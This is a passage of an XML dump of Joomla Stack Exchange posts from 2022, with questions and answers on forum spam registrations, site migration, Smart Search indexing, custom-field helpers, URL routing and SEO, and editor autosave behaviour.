4.0" />
  <row Id="32247" PostTypeId="2" ParentId="32246" CreationDate="2022-07-03T10:29:39.640" Score="1" Body="&lt;p&gt;You don't say how many genuine new registrations you get in a week and to a degree that is important in this approach to combat the fake users. I inherited a large Forum fighting 100's of fake registrations daily somewhat because of the popularity of the Forum it appears in the first few pages of a large variety of searches making it a big target.&lt;/p&gt;&#xA;&lt;p&gt;I migrated it to Kunena and we replaced self registration with a link to register by sending an email to a mailbox that is monitored by the moderators. The emails ask the 'person' to provide three bits of information, Name, Username and what is their interest in the subject matter of the Forum. That last bit of information makes it easy to identify someone who has no idea what they are trying to sign up too.&lt;/p&gt;&#xA;&lt;p&gt;We use captchas on the first two posts but it is rare for anyone to get past the email. Sometimes you will see an email with Gmail address and no body in the email and they tend to be bots. Occasionally it is someone just being lazy or elderly and will try again with details provided within a few days, and if they are being lazy then we don't make any effort to register them.&lt;/p&gt;&#xA;&lt;p&gt;It is not a sophisticated AI type of solution but for the genuine registrations we get weekly it only takes a few minutes to create a user account, compared to hours previously wasted every week trying to clean up or prevent the fake ones that the mods were doing. You might spend more time creating accounts and interacting with the people you want on your forum, however the people you don't want are no more than a click away from going into the Trash.&lt;/p&gt;&#xA;&lt;p&gt;There is also some side benefits of the emails in that you get to read some interesting insights into the people joining, some of which we share in an 'Introducing [insert name here]' type of post and that kicks off their involvement. We seem to get a better class of user as they have to make an effort to join up so they tend to be more invested in the subject matter rather than people just clicking a link and joining up by habit or because they can.&lt;/p&gt;&#xA;&lt;p&gt;On another non-Joomla Forum I have 'Stop Forum Spammer' connected add-on and it works well enough for the self registrations but it still requires effort to review and clean up the fake registrations. Kunena has similar API connections for such services.&lt;/p&gt;&#xA;" OwnerUserId="13306" LastActivityDate="2022-07-03T10:29:39.640" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32248" PostTypeId="1" CreationDate="2022-07-05T14:24:11.517" Score="1" ViewCount="38" Body="&lt;p&gt;As told in the title, I just moved my 3.9 Joomla site to a subfolder on my apache server.&#xA;Unfortunately when I'm trying to access it, I get this error&#xA;&amp;quot;syntax error, unexpected '}', expecting end of file&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;I also get some possibilities on why this error may occur :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;  expired bookmark/favorite&#xA;  A search engine has an outdated listing for this site&#xA;  an incorrect address&#xA;  You do not have access to this page&#xA;  The requested resource was not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I'm pretty lost here, am I missing something in the configuration.php fil ? should the htaccess be updated ?&lt;/p&gt;&#xA;&lt;p&gt;Thanks in advance for your help :)&lt;/p&gt;&#xA;&lt;p&gt;Edit :&lt;/p&gt;&#xA;&lt;p&gt;Ok, so after deleting the subfolder content and moving the site again but this time directly from the root of the server to the subfolder (first time I downloaded the site to my computer then uploaded it to the subfolder) It works just fine.&#xA;So It was definitely a permissions thing as my system changed them on my first attempt.&lt;/p&gt;&#xA;" OwnerUserId="16432" LastEditorUserId="16432" LastEditDate="2022-07-05T15:05:20.757" LastActivityDate="2022-07-05T15:05:20.757" Title="Error 0 after moving Joomla site to subfolder" Tags="|joomla-3.x|.htaccess-configuration|configuration|server-configuration|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32251" PostTypeId="1" CreationDate="2022-07-06T08:31:03.093" Score="4" ViewCount="455" Body="&lt;p&gt;I'm just about to migrate my site from Joomla 3 to Joomla 4. It's a pretty big website with thousands of articles that leads to problems using the new Joomla smart search.&lt;/p&gt;&#xA;&lt;p&gt;The indexing of the articles for the smart search lets the database grow up to almost 2 GB. That's way too much. Just wondering whether anyone with the same problem figured out how to save the data for the component into an extra database what might be a solution for this mess.&lt;/p&gt;&#xA;&lt;p&gt;As the old Joomla search won't be supported with Joomla 5 anymore, I'd like to avoid this alternative.&lt;/p&gt;&#xA;" OwnerUserId="16433" LastActivityDate="2024-01-30T07:47:17.760" Title="Joomla 4 Smart Search: Extra database for indexing data" Tags="|database|joomla-4|search|" AnswerCount="3" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32252" PostTypeId="2" ParentId="32251" CreationDate="2022-07-06T10:07:25.923" Score="3" Body="&lt;p&gt;Some big sites use &lt;strong&gt;external indexing software / services&lt;/strong&gt; to index and search their site. Some are available as Software as a Service, while others can be installed on your own resources.&lt;/p&gt;&#xA;&lt;p&gt;For &lt;strong&gt;Joomla 4&lt;/strong&gt; and 3 there are &lt;strong&gt;commercial extensions available&lt;/strong&gt; to connect your Joomla to such search services. A plugin will register every save/trash function in your website, and communicate it accordingly to the external service. Your Joomla search will use the external service to retrieve results for specific keywords entered by the visitor. This all happens under the hood. The visitor stays on your website and does not notice that the search action was done externally outside your website.&lt;/p&gt;&#xA;&lt;h4&gt;Elastic Search&lt;/h4&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Geek Elasticsearch&lt;/strong&gt; &lt;a href=&quot;https://extensions.joomla.org/extension/geek-elasticsearch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/geek-elasticsearch/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Elastic Search&lt;/strong&gt; &lt;a href=&quot;https://www.elastic.co/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.elastic.co/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h4&gt;Algolia&lt;/h4&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;XT Search for Algolia&lt;/strong&gt; &lt;a href=&quot;https://extensions.joomla.org/extension/xt-search-for-algolia/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://extensions.joomla.org/extension/xt-search-for-algolia/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Algolia&lt;/strong&gt; &lt;a href=&quot;https://www.algolia.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.algolia.com/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13058" LastEditDate="2022-10-22T22:10:13.540" LastActivityDate="2022-10-22T22:10:13.540" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32253" PostTypeId="2" ParentId="32242" CreationDate="2022-07-07T18:13:50.187" Score="1" Body="&lt;p&gt;I did this little helper for getting the custom field values:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Your\Component\Name\Administrator\Helper;&#xA;&#xA;\defined('_JEXEC') or die;&#xA;&#xA;use Joomla\Component\Fields\Administrator\Helper\FieldsHelper;&#xA;&#xA;/**&#xA; * Pro Fields Helper&#xA; *&#xA; * @since  __BUMP_VERSION__&#xA; */&#xA;class ProFieldsHelper&#xA;{&#xA;    public $userKeyedCustomFields;&#xA;&#xA;    function __construct(string $context, $item)&#xA;    {&#xA;        // Get field list&#xA;        $userCustomFields = FieldsHelper::getFields($context, $item, true);&#xA;        $this-&amp;gt;userKeyedCustomFields = array_column($userCustomFields, null, 'name');&#xA;    }&#xA;&#xA;    /**&#xA;     * Get the custom field value, or if empty the $default value&#xA;     */&#xA;    function getFieldValue(string $fieldName, string $default=null)&#xA;    {&#xA;        return $this-&amp;gt;userKeyedCustomFields[$fieldName]-&amp;gt;value ?? $default;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So you can call it anywhere:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Your\Component\Name\Administrator\Helper\ProFieldsHelper;&#xA;...&#xA;   // Get custom field 'telephone' for a user (defaults to '000000000')&#xA;   $user = Factory::getUser();&#xA;   $userCustomFields = new ProFieldsHelper('com_users.user', $user);&#xA;   $tel = $userCustomFields-&amp;gt;getFieldValue('telephone', '000000000');&#xA;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDITED&lt;/strong&gt;&#xA;Applied changes proposed by  @mickmackusa in his comment&lt;/p&gt;&#xA;" OwnerUserId="14871" LastEditorUserId="14871" LastEditDate="2022-07-08T15:58:33.697" LastActivityDate="2022-07-08T15:58:33.697" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32254" PostTypeId="1" CreationDate="2022-07-07T22:54:27.017" Score="2" ViewCount="43" Body="&lt;p&gt;For some reason Google has indexed some pages on my Joomla website using strange urls starting &lt;a href=&quot;https://www.pgweb.uk/?id=&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.pgweb.uk/?id=&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.pgweb.uk/?id=1605:new-dance-studio-launches-next-week&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.pgweb.uk/?id=1605:new-dance-studio-launches-next-week&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When clicked on, these always go to a page which looks similar to the home page but is missing some of its modules&lt;/p&gt;&#xA;&lt;p&gt;As a consequence, they remain in Google's index, since it appears to the Google that these pages exist.&lt;/p&gt;&#xA;&lt;p&gt;The correct url for this particular page should be&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.pgweb.uk/news/1605-new-dance-studio-launches-next-week&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.pgweb.uk/news/1605-new-dance-studio-launches-next-week&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;but this correct url isn't in Google's index.&lt;/p&gt;&#xA;&lt;p&gt;When I try to remove individual incorrect urls, Google webmaster tools tells me they are not in the property.&lt;/p&gt;&#xA;&lt;p&gt;I don't know how many of these incorrect urls are in Google's index.&lt;/p&gt;&#xA;&lt;p&gt;Any idea of why this is happening and how to stop it?&lt;/p&gt;&#xA;&lt;p&gt;Is there any way using the Redirects component that I can get 404 redirects for pages starting  so that they will eventually be removed from the Google index? The Redirects component has no effect with such urls when I've tried.&lt;/p&gt;&#xA;" OwnerUserId="16436" LastActivityDate="2022-07-11T10:25:08.843" Title="Google search results for my site include some strange urls - how to deal with them?" Tags="|url|google|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32256" PostTypeId="2" ParentId="32241" CreationDate="2022-07-09T07:45:50.313" Score="0" Body="&lt;p&gt;I don't think there is a built-in plugin that does something like that and I'm not aware of a custom one (presumably you have searched the JED (&lt;a href=&quot;https://extensions.joomla.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;extensions directory&lt;/a&gt;) but if you are up against the limits of &lt;code&gt;showon&lt;/code&gt; (eg wanting a condition that uses a value from a different xml fields spec - showon can conly use values in the same xml) then it is possible to add a custom attribute to a custom field which will implement more complex conditions for rendering the field.&lt;/p&gt;&#xA;&lt;p&gt;Check the &lt;code&gt;FormHelper::parseShowOnConditions()&lt;/code&gt; function which you can use to parse a custom &lt;code&gt;renderon&lt;/code&gt; attribute in your custom field type.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$oparr= FormHelper::parseShowOnConditions((string) $this-&amp;gt;element['renderon'], '', '');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If this might help then I can give a more complete example if you can clarify an example of exactly what you are trying to achieve.&lt;/p&gt;&#xA;&lt;p&gt;Another approach I use for conditionally hiding fields in a view search form (for example if the menu entry or request for a view has specified a specific category you might want to hide a category filter field in the search form, but allow it if no category is specified) is to override the &lt;code&gt;/layouts/joomla/searchtools/default/filters.php&lt;/code&gt; with an additional element &lt;code&gt;hide=[fieldname]&lt;/code&gt; which you can set in order not to show specific field(s) in the search form.&lt;/p&gt;&#xA;&lt;p&gt;Again I could post more detail if this is what you are trying to achieve.&lt;/p&gt;&#xA;&lt;p&gt;(disclaimer - I only use J3, so if you are on J4 my answers might not work - it helps to use the j3 or j4 tag on questions)&lt;/p&gt;&#xA;" OwnerUserId="16053" LastActivityDate="2022-07-09T07:45:50.313" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32257" PostTypeId="1" CreationDate="2022-07-09T13:41:16.610" Score="1" ViewCount="51" Body="&lt;p&gt;In a controller of my component in Joomla! 4.1 i want to load the table session but it return null :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$table = Table::getInstance('session', 'JTable');&#xA;$table-&amp;gt;load($session-&amp;gt;getId());&#xA;$table-&amp;gt;username = $this-&amp;gt;user-&amp;gt;username;&#xA;$table-&amp;gt;store();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;How to load table session ?&lt;/p&gt;&#xA;" OwnerUserId="1819" LastActivityDate="2022-07-09T14:35:48.223" Title="Load table session return null in controller" Tags="|extensions|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32258" PostTypeId="2" ParentId="32257" CreationDate="2022-07-09T14:35:48.223" Score="1" Body="&lt;p&gt;There is no table class for session table. You can create it yourself or run queries manually against &lt;code&gt;#__session&lt;/code&gt; table.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-07-09T14:35:48.223" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32259" PostTypeId="1" CreationDate="2022-07-09T18:15:41.797" Score="2" ViewCount="57" Body="&lt;p&gt;What is the reason a Joomla integrated component like &lt;code&gt;contacts&lt;/code&gt; sets &lt;code&gt;modified&lt;/code&gt; and &lt;code&gt;modified_by&lt;/code&gt; while saving once in the &lt;code&gt;prepareTable()&lt;/code&gt; method of the Model and also in the &lt;code&gt;storeTable()&lt;/code&gt; method?&lt;/p&gt;&#xA;&lt;p&gt;Is this not redundant? Should this not be done in one place? What's the best way to update data like that?&lt;/p&gt;&#xA;" OwnerUserId="15761" LastEditorUserId="12352" LastEditDate="2022-07-10T01:10:51.623" LastActivityDate="2022-07-10T01:10:51.623" Title="What to use: Table store vs. prepareTable" Tags="|model|jtable|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32260" PostTypeId="1" AcceptedAnswerId="32266" CreationDate="2022-07-10T07:45:19.203" Score="3" ViewCount="62" Body="&lt;p&gt;What is the best way of adding a new view to an existing (built-in or 3rd party) component?&lt;/p&gt;&#xA;&lt;p&gt;In the particular case I want to add a better tag view to com_tags. The view in com_tags just lists the titles of the items tagged with each item linked to the item view in its own component.&#xA;I would like the list to also show which component the item belongs to, and optionally some other fields (eg a category, other tags assigned to the item, a truncated description and a date) if the fields exist for that item.&lt;/p&gt;&#xA;&lt;p&gt;This requires more than a simple view template override as it will change the model and the view xml file. In effect I am asking how to override the model for a component without editing the core file as if the model had the required info then a simple template override would suffice.&lt;/p&gt;&#xA;&lt;p&gt;Is the only way to achieve this to write a complete new component containing the view?&lt;/p&gt;&#xA;" OwnerUserId="16053" LastActivityDate="2022-07-11T10:17:11.250" Title="Adding a new view to built in component (com_tags)" Tags="|joomla-3.x|overrides|tags|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32261" PostTypeId="1" AcceptedAnswerId="32273" CreationDate="2022-07-10T09:39:36.857" Score="1" ViewCount="177" Body="&lt;p&gt;I have a multilingual website where everything was running fine under J3.&#xA;I migrated to J4 (and also switched to YOOtheme Pro. I mention it just in case).&lt;/p&gt;&#xA;&lt;p&gt;And now the Edit button on the Association Tab (for Articles and for Menu Items) always give a 404.&lt;/p&gt;&#xA;&lt;p&gt;After some tests, I realized that I could see in the Console that the called url was actually&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/index.php?option=com_content&amp;amp;view=article&amp;amp;layout=modal&amp;amp;tmpl=component&amp;amp;5e96bdc0cbf704b5fb49000b5e90d4b4=1&amp;amp;forcedLanguage=nl-NL&amp;amp;task=article.edit&amp;amp;id=%27%20272%20%27&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I was puzzled by the %27%20272%20%27 at the end of the url. The Article ID in this case was 272 so I manually typed the following url (dropping the &amp;quot;%27%20&amp;quot; before and the &amp;quot;%20%27&amp;quot; after the item ID:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/administrator/index.php?option=com_content&amp;amp;view=article&amp;amp;layout=modal&amp;amp;tmpl=component&amp;amp;5e96bdc0cbf704b5fb49000b5e90d4b4=1&amp;amp;forcedLanguage=nl-NL&amp;amp;task=article.edit&amp;amp;id=272&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And there the page works (I open it on a separate Tab, even if it is supposed to be a Modal of course).&lt;/p&gt;&#xA;&lt;p&gt;So what is wrong?&#xA;Why these &amp;quot;%27%20&amp;quot; before and &amp;quot;%20%27&amp;quot; after the Article or Menu Item ID?&lt;/p&gt;&#xA;&lt;p&gt;Txs for your suggestions!&#xA;(I also tried different PHP versions just in case but that would not solve anything)&lt;/p&gt;&#xA;&lt;p&gt;EDIT1: actually I discovered this bug in the context of Multilingual Association, but the same issue arises with the classical &amp;quot;Edit&amp;quot; article button that can be found when Editing a Menu Item&lt;/p&gt;&#xA;&lt;p&gt;EDIT2: FYI here is the corresponding HTML in the page (which is exactly similar to the HTML on another J4 site where everything works fine)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;div id=&amp;quot;ModalEditArticle_jform_associations_fr_FR&amp;quot; tabindex=&amp;quot;-1&amp;quot; class=&amp;quot;joomla-modal modal fade&amp;quot; data-bs-backdrop=&amp;quot;static&amp;quot; data-bs-keyboard=&amp;quot;false&amp;quot; data-url=&amp;quot;index.php?option=com_content&amp;amp;amp;view=article&amp;amp;amp;layout=modal&amp;amp;amp;tmpl=component&amp;amp;amp;165fca538bd5a6f8ec413c37271fbfd8=1&amp;amp;amp;forcedLanguage=fr-FR&amp;amp;amp;task=article.edit&amp;amp;amp;id=' + document.getElementById(&amp;amp;quot;jform_associations_fr_FR_id&amp;amp;quot;).value + '&amp;quot; data-iframe=&amp;quot;&amp;lt;iframe class=&amp;amp;quot;iframe&amp;amp;quot; src=&amp;amp;quot;index.php?option=com_content&amp;amp;amp;amp;view=article&amp;amp;amp;amp;layout=modal&amp;amp;amp;amp;tmpl=component&amp;amp;amp;amp;165fca538bd5a6f8ec413c37271fbfd8=1&amp;amp;amp;amp;forcedLanguage=fr-FR&amp;amp;amp;amp;task=article.edit&amp;amp;amp;amp;id=' + document.getElementById(&amp;amp;amp;quot;jform_associations_fr_FR_id&amp;amp;amp;quot;).value + '&amp;amp;quot; name=&amp;amp;quot;Edit Article&amp;amp;quot; title=&amp;amp;quot;Edit Article&amp;amp;quot; height=&amp;amp;quot;400px&amp;amp;quot; width=&amp;amp;quot;800px&amp;amp;quot;&amp;gt;&amp;lt;/iframe&amp;gt;&amp;quot; style=&amp;quot;display: none;&amp;quot; aria-hidden=&amp;quot;true&amp;quot;&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15734" LastEditorUserId="15734" LastEditDate="2022-07-12T09:44:00.863" LastActivityDate="2022-08-04T05:48:57.627" Title="multilingual website &amp; Association: error 404 when clicking on Edit btn for associated Articles or Menu Items (same issue with Edit btn in Menu Item)" Tags="|joomla-4.x|multilingual|" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="32262" PostTypeId="1" CreationDate="2022-07-10T10:17:18.947" Score="0" ViewCount="707" Body="&lt;p&gt;I want to properly remove CSS and JS links from Joomla 4 header&lt;/p&gt;&#xA;&lt;p&gt;For example I did not want:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link href=&amp;quot;/newer/media/vendor/fontawesome-free/css/fontawesome.min.css?5.15.4&amp;quot; rel=&amp;quot;stylesheet&amp;quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;To be loaded&lt;/p&gt;&#xA;" OwnerUserId="9029" LastActivityDate="2023-01-27T09:19:53.810" Title="How to remove CSS and JS from Joomla 4 header?" Tags="|php|css|jquery|joomla-4.x|header|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="32263" PostTypeId="1" AcceptedAnswerId="32271" CreationDate="2022-07-10T14:09:37.973" Score="0" ViewCount="479" Body="&lt;p&gt;At the moment my joomla articles are using the alias in the urls, like that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;site.com/menu/article-alias&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Now I need to add the title of the specific joomla article in my url, too. So I will have a better url regarding SEO:&lt;/p&gt;&#xA;&lt;p&gt;So the new url should look like that:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;site.com/menu/article-alias/article-title&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Do I need to change something in joomlas' router or do I need to use javascript for that?&lt;/p&gt;&#xA;" OwnerUserId="16441" LastActivityDate="2022-07-13T07:18:00.387" Title="Alias and title in article url" Tags="|joomla-3.x|url|seo|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32264" PostTypeId="2" ParentId="32261" CreationDate="2022-07-10T14:35:07.873" Score="1" Body="&lt;p&gt;If I understand correctly, the URL is formed here. I don't know much about the router.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/592c0a4508c4214ccf0ec21c60466e2bb9214672/administrator/components/com_content/src/Field/Modal/ArticleField.php#L105&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/joomla/joomla-cms/blob/592c0a4508c4214ccf0ec21c60466e2bb9214672/administrator/components/com_content/src/Field/Modal/ArticleField.php#L105&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I would debug and compare the URL of your problem system with a working one.&lt;/p&gt;&#xA;" OwnerUserId="16197" LastActivityDate="2022-07-10T14:35:07.873" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="32265" PostTypeId="2" ParentId="32263" CreationDate="2022-07-11T09:16:46.790" Score="2" Body="&lt;p&gt;Joomla does not work like that. The &lt;strong&gt;Article Alias&lt;/strong&gt; is a &lt;strong&gt;SEF (Search Engine Friendly) version&lt;/strong&gt; of the &lt;strong&gt;Article Title&lt;/strong&gt;, meaning that some difficult characters (like space) are converted to dashes.&lt;/p&gt;&#xA;&lt;p&gt;If your title would be &amp;quot;This is a nice Example Article&amp;quot; and the alias &amp;quot;nice-example-article&amp;quot;, then what URL would you like to have? &amp;quot;This is a nice Example Article&amp;quot; is not a SEF name. Spaces in URLs are converted to their HTML equivalent %20.&lt;/p&gt;&#xA;&lt;p&gt;Using Joomla's Menu Manager, you could create URLs like:&#xA;&lt;code&gt;site.com/menu/menu-item-alias-for-category-blog/menu-item-alias-for-single-article&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a &lt;strong&gt;Menu Item&lt;/strong&gt; of type &lt;strong&gt;Category Blog&lt;/strong&gt; with Menu Item Alias &amp;quot;menu-item-alias-for-category-blog&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Create a &lt;strong&gt;Menu Item&lt;/strong&gt; of type &lt;strong&gt;Single Article&lt;/strong&gt;, with Menu Item Alias &amp;quot;menu-item-alias-for-single-article&amp;quot; and &lt;strong&gt;Parent Menu Item&lt;/strong&gt; the Category Blog item from above. That way the article will be visible in the menu as well.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Alternatively you could also create a structure like &lt;code&gt;site.com/menu/menu-item-alias-for-category-blog/article-alias&lt;/code&gt;&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create a &lt;strong&gt;Menu Item&lt;/strong&gt; of type &lt;strong&gt;Category Blog&lt;/strong&gt; with Menu Item Alias &amp;quot;menu-item-alias-for-category-blog&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Enable the Modern Router in Joomla 3&lt;/strong&gt;: In Content &amp;gt; Articles &amp;gt; Integration &amp;gt; URL Routing: Modern + Remove IDs from URLs: Yes. That way you don't have to add every Article as Child Menu Items to the Menu. The nice URLs are created. However, the Articles are not listed in the Menu.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-07-11T09:16:46.790" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32266" PostTypeId="2" ParentId="32260" CreationDate="2022-07-11T10:17:11.250" Score="4" Body="&lt;p&gt;There are multiple ways to add functionality or output views to existing components.&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;You could try a &lt;strong&gt;template override&lt;/strong&gt;. If you need more data then available in the component's model, then you could create your own model that you put in the template override folder, and instantiate your own model in an template override. It's not really the best practice to put a model in the template override folder but IMHO better then a core hack :-)&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;A better method it to &lt;strong&gt;write a plugin&lt;/strong&gt; (content or system) to enhance the data from the com_tags model with extra information. And create a template override to display that extra information.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally you could program your improvements in the component itself and &lt;strong&gt;create a PR (Pull Request)&lt;/strong&gt; that you submit to the Joomla project. However, you are doing it for Joomla 3. There won't be any new features in the Joomla 3 series, only bug fixes (till August 2022) and security fixes (till August 2023). You might try to create a PR for Joomla 4 though.&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;I would opt for method 2: a plugin to get the extra data in combination with a template override to display the extra data.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-07-11T10:17:11.250" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32267" PostTypeId="2" ParentId="32254" CreationDate="2022-07-11T10:25:08.843" Score="1" Body="&lt;p&gt;Joomla 3 has a &amp;quot;&lt;strong&gt;Modern Router&lt;/strong&gt;&amp;quot; option to &lt;strong&gt;remove the article number&lt;/strong&gt; from the URL. You can enable the Modern Router in Joomla 3: In Content &amp;gt; Articles &amp;gt; Integration &amp;gt; URL Routing: Modern + Remove IDs from URLs: Yes.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;After enabling the Modern Router, the old URLs with numbers will result in 404 errors&lt;/strong&gt;.&lt;/p&gt;&#xA;&lt;p&gt;You can use Joomla's &lt;strong&gt;Redirects&lt;/strong&gt; to redirect wrong URLs to the right ones. If you have a lot of pages: Joomla's Redirects has an import function to import all &lt;code&gt;old-urls|new-urls&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-07-11T10:25:08.843" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32268" PostTypeId="2" ParentId="32239" CreationDate="2022-07-11T19:34:26.537" Score="1" Body="&lt;p&gt;The popup is caused by a bound &lt;code&gt;onbeforeunload&lt;/code&gt; event that is being added via the autosave plugin. To completely disable it;&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var editor = window.Joomla.editors.instances['{editor}'];&#xA;editor.instance.plugins.autosave = {};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Replace &lt;code&gt;{editor}&lt;/code&gt; with the id of the editor.&lt;/p&gt;&#xA;&lt;p&gt;Addendum (2022-09-15):&#xA;This code now throws an error during the &lt;code&gt;onbeforeunload&lt;/code&gt; event. I've found a fix already:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var editor = window.Joomla.editors.instances['{editor}'];&#xA;editor.instance.plugins.autosave = {storeDraft:function(){editor.instance.setDirty(false)}};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2081" LastEditorUserId="2081" LastEditDate="2022-09-15T19:15:19.167" LastActivityDate="2022-09-15T19:15:19.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32270" PostTypeId="1" CreationDate="2022-07-13T06:21:08.973" Score="0" ViewCount="137" Body="&lt;p&gt;I use the extension &amp;quot;Article Show&amp;quot; in Joomla 3&#xA;&lt;a href=&quot;https://www.olwebdesign.com/joomla-extensions/article-show-joomla-module.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.olwebdesign.com/joomla-extensions/article-show-joomla-module.html&lt;/a&gt;&#xA;I create a module &amp;quot;Last news&amp;quot; with the position &amp;quot;news&amp;quot; that is assigned in the Layout of my template.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.vzw.ch/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.vzw.ch/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In the module I specify that I want to see the instance of the module (a list of articles) in the Home menu (called VZW in my page).&#xA;&lt;a href=&quot;https://i.stack.imgur.com/HeiOT.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/HeiOT.jpg&quot; alt=&quot;The list of news in the VZW menu&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;When I click on a news, the corresponding article appears. But it is assigned to the same menu (either in the component area, or in a popup window). Since it is assigned to the same menu, the &amp;quot;Article show&amp;quot; list of news still appears under the individual article.&#xA;How to avoid that?&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/VDOeN.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VDOeN.jpg&quot; alt=&quot;The individual article with the list of news underneath&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="16445" 